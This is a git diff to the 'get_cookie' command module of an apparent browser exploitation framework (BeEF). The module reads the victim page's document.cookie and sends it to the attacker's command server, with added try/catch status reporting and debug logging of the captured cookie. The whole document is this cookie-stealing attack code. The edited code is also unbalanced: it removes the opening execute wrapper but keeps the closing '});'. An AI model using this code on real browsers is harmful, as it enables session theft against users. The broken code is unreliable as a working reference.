diff --git a/modules/browser/hooked_domain/get_cookie/command.js b/modules/browser/hooked_domain/get_cookie/command.js index 865f2c2fc..e1dfc586d 100644 --- a/modules/browser/hooked_domain/get_cookie/command.js +++ b/modules/browser/hooked_domain/get_cookie/command.js @@ -4,9 +4,12 @@ // See the file 'doc/COPYING' for copying permission // -beef.execute(function() { - - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie); - +try { + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_success()); + beef.debug("[Get Cookie] Cookie captured: "+document.cookie); +}catch(e){ + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie, beef.are.status_error()); + beef.debug("[Get Cookie] Error"); +} });